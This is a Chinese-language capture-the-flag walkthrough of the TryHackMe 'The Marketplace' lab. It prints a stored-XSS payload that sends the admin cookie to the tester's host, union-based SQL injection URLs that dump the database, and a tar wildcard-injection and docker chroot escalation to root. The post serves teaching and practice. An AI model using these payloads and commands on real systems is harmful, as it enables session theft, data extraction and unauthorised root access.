首页 > 其他分享 >【THM】The Marketplace练习

【THM】The Marketplace练习

时间:2024-10-06 10:00:52浏览次数:11  
标签:Marketplace http admin 练习 -- THM 42.48 10.10 我们

【THM】The Marketplace练习

与本文相关的TryHackMe实验房间链接:TryHackMe | The Marketplace

简介:你能接管marketplace的基础设施吗?

The Marketplace的系统管理员Michael允许您访问他的一个内部服务器,因此您可以渗透他和他的团队正在开发的The Marketplace平台。他说,他和他的团队还需要解决一些bug。

image-20241005154844263

第一题:flag 1是什么?

第一步

端口扫描

首先使用nmap对端口进行扫描

nmap -Pn -sV -T4 10.10.42.48

image-20241005155054731

可以发现目标开放了3个端口:22/tcp ssh服务、80/tcp http服务、32768/tcp http服务

第二步

访问网站

我们先进入网站看看界面

image-20241005155216581

可以发现这个超市就只卖仙人掌和笔记本电脑

我们可以做的操作有登录和注册,先注册一个账号看看:

image-20241005155915613

注册登录后多出两个功能点:上架商品和消息,并且在商品页面中可以联系卖家和举报产品

我们尝试上架一个商品,发现存在存储型XSS漏洞:

image-20241005161245360image-20241005161312011

尝试举报产品会收到系统的消息

image-20241005160604790

第三步

信息收集

网页源码中没有藏什么东西

我们进行目录扫描:

gobuster dir -u http://10.10.42.48 -w Filenames_or_Directories_All.txt

image-20241005160628997

我们得到一个很重要的路径:/admin(robots.txt中写的路径也是如此)

管理员的页面禁止我们访问:

image-20241005160722673

第四步

尝试越权

我们先抓个包观察一下我们的请求:

image-20241005161431672

可以发现我们的Cookie中含有token识别我们的身份,我们尝试解码:

image-20241005161626726

可以发现有一个admin的参数,我们尝试修改为true进入/admin,但是失败了

第五步

利用XSS漏洞进行钓鱼

这里有一个很骚的思路,我们上传商品存在存储型XSS漏洞,那么我们可以在我们的商品页面作为钓鱼页面,举报自己的商品诱导管理员审核,然后得到管理员的Cookie,提取他的Token

首先我们建立一个web服务器进行监听:

python -m http.server

然后构造XSS钓鱼页面,当有人访问的时候获取他的cookie

<img src=x one rror=this.src="http://10.10.22.44:8000/?c="+document.cookie>

<img> 用于加载图像。

src=x 设置一个无效的图像源,通常会导致加载失败。

onerror 当图像加载失败时触发的事件。

this.src 在图像加载失败时,将图像的 src 属性设置为一个 URL,即为我们构造的一个新的URL将当前页面的 cookies 作为查询参数添加到该 URL 中

document.cookie 获取当前页面的 cookies

image-20241005163556416

image-20241005163706006

可以发现正在查看这个页面的自己的cookie不断回显出来,我们现在举报商品

image-20241005163912856

发现有几条不一样的,我们提取Token分析:

image-20241005163947267

有了admin的Token,我们现在换上:

image-20241005164039186

成功进入admin后台,得到了flag:

image-20241005164137576

第二题:flag 2是什么?(User.txt)

第一步

观察功能点

成为后台管理员,我们能做的操作有:查看用户详细信息、删除用户

image-20241005164420728

我们可以发现我们查看用户信息时是直接GET请求数字得到的信息:

sqlmap -u "http://10.10.42.48/admin?user=1" --cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE3MjgxMTgxNzB9.H8NLhz-z1p3WvuMLZiNWphI9tZvibVh1mnAJScEWFlc"

别用SQLMAP!!!!直接给你cookie的token整报废又得重新拿token

第二步

SQL注入

我们尝试进行注入:

http://10.10.42.48/admin?user=1 order by 3 --+

正常回显

http://10.10.42.48/admin?user=1 order by 5 --+

image-20241005165812419

报错,因此可以判断网站查询的字段数为4

http://10.10.42.48/admin?user=1 and 1=2 union select 1,2,3,4--+

image-20241005165930923

发现1,2的位置可以回显

http://10.10.42.48/admin?user=1 and 1=2 union select database(),2,3,4--+

image-20241005170107248

http://10.10.42.48/admin?user=1 and 1=2 union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema='marketplace'--+

image-20241005170309633

http://10.10.42.48/admin?user=1 and 1=2 union select group_concat(column_name),2,3,4 from information_schema.columns where table_schema='marketplace' and table_name='messages'--+

image-20241005170416962

http://10.10.42.48/admin?user=1 and 1=2 union select concat_ws(',',id,is_read,message_content,user_from,user_to),2,3,4 from marketplace.messages limit 0,1--+

image-20241005170716857

我们发现了关键信息,SSH连接的密码!

第三步

使用ssh连接

我们可以发现这是user1发送给user3的消息,我们所以我们可以尝试使用jake作为用户名进行连接:

ssh [email protected]

image-20241005171412751

image-20241005180716117

第三题:flag 3是什么?(Root.txt)

第一步

查看我们的权限

sudo -l

image-20241005171539596

我们可以发现我们可以不使用密码以michael的身份运行/opt/backups/backup.sh

我们看看脚本中的命令

cat /opt/backups/backup.sh

image-20241005171654342

这是一个压缩备份当前目录下的所有文件的脚本

tar cf /opt/backups/backup.tar *

第二步

提升我们的权限

我们在GTFOBins中搜索发现:

image-20241005172656893

我们使用a方式,我们分析其原理:

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

/dev/null 特殊的路径,写入该文件的数据都会被丢弃,但脚本中已经定义了路径所以我们不用管

--checkpoint=1 在归档过程中每处理一个文件时,生成一个检查点。这个选项通常用于长时间运行的 tar 操作。

--checkpoint-action=exec=/bin/sh 在每个检查点触发时执行指定的命令。这里指定的命令是 /bin/sh,即启动一个新的 shell。

只要能够让--checkpoint=1--checkpoint-action=exec=sh运行起来就行了,那么我们只用创建两个名为--checkpoint=1--checkpoint-action=exec=sh的文件就行了

touch "./--checkpoint=1"
touch "./--checkpoint-action=exec=sh"
sudo -u michael /opt/backups/backup.sh

image-20241005173807393

我们成为了michael!

第三步

查看我们的权限

find / -type f -perm -04000 -ls 2>/dev/null

image-20241005173945447

我们在GTFOBins中搜索没有发现,我们看看用户组

id

image-20241005180221024

可以发现michael是docker用户

第四步

提升我们的权限

我们可以在GTFOBins中发现docker的提权方法:

image-20241005180040163

我们使用命令:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

image-20241005180546023

直接看root文件夹中的flag3

image-20241005180627292

image-20241005180723259

标签:Marketplace,http,admin,练习,--,THM,42.48,10.10,我们
From: https://www.cnblogs.com/handsomexuejian/p/18448863

相关文章

  • 2024.10.1 近期练习
    CF1993F2Dyn-scriptedRobot(HardVersion)这个题非常的一眼,首先翻转路径的操作可以转化为翻转矩形。也就是,如果触碰了边界不改变行走的路径,而是继续走下去,只不过对应的位置需要对称回去。那么,计算走到\((0,0)\)的次数,也就是在反转后的坐标系里的\((2k_1w,2k_2h)\)的位置......
  • 算法练习记录(24.10.5)
    1.B.BrightnessBegins思路要求最后的灯泡打开的数量,由于一开始灯泡是打开的,如果最后还需要打开,那么操作数量一定是偶数,移目至操作前提,需要灯泡的序号能整除\(x\),由于遍历1~x,推出最后灯泡\(i\)亮的条件是:\(1~i\)中有偶数个\(i\)的因数,即\(i\)有偶数个因数,反之即有奇数个......
  • comp10002 Foundations of Algorithms
    comp10002 Foundations of AlgorithmsSemester 2,2024Assignment 2LearningOutcomesInthisproject,youwilldemonstrateyour understanding ofdynamic memory and linked data structures (Chap- ter 10) and extend your program design, testi......
  • 【THM】Nax练习
    【THM】Nax练习与本文相关的TryHackMe实验房间链接:TryHackMe|Nax简介:识别市场上最强大、最可信的网络监控软件中的关键安全缺陷,该软件允许用户通过身份验证执行远程代码执行。你能完成这个挑战吗?注意:这个房间需要Metasploit6第一题:你找到了什么隐藏的文件?第一步端口......
  • C++-练习-52
    题目:这个练习让您编写处理数组和结构的函数,下面是程序的框架,请提供其中描述的函数,以完成该程序#include<iostream>usingnamespacestd;constintSLEN=30;structstudent{charfullname[SLEN];charhobby[SLEN];intooplevel;}; intgetinfo(studentpa[],i......
  • 【THM】Res练习
    【THM】Res练习与本文相关的TryHackMe实验房间链接:TryHackMe|Res简介:在这个半引导式挑战中,使用内存中的数据结构入侵易受攻击的数据库服务器!你准备好接受挑战了吗?第一题:扫描机器,有多少端口是开放的?第一步端口扫描首先使用nmap对端口进行扫描nmap-sV-sC-p-10.10......
  • VulnHub2018_DeRPnStiNK靶机渗透练习
    据说该靶机有四个flag扫描扫描附近主机arp-scan-l扫主目录扫端口nmap-sS-sV-n-T4-p-192.168.xx.xx结果如下StartingNmap7.94SVN(https://nmap.org)at2024-09-3019:25CSTNmapscanreportfor192.168.93.131Hostisup(0.0024slatency).Notshown:......
  • Java面向对象第四章方法重写与多态练习题
    练习1:使用重写优化电子宠物系统需求说明使用方法重写优化电子宠物系统,实现如下效果 packagecom.hz.ch02;/***猫类*@author26255**/publicclassCatextendsFather{ privateStringsex; publicCat(Stringname,inthealth,intlove,Stringse......
  • 【THM】Git Happens练习
    【THM】GitHappens练习与本文相关的TryHackMe实验房间链接:TryHackMe|GitHappens简介:老板让我创建一个原型代码,所以它就在这里!我们甚至使用了一种叫做“版本控制”的东西,使部署变得非常容易!你能找到应用程序的密码吗?第一题:找到超级机密的密码第一步端口扫描首先使......
  • Study Plan For Algorithms - Part48
    1.不同的二叉搜索树II给定一个整数n,请生成并返回所有由n个节点组成且节点值从1到n互不相同的不同二叉搜索树。classSolution:defgenerateTrees(self,n:int)->List[Optional[TreeNode]]:ifn==0:return[]returnself.g......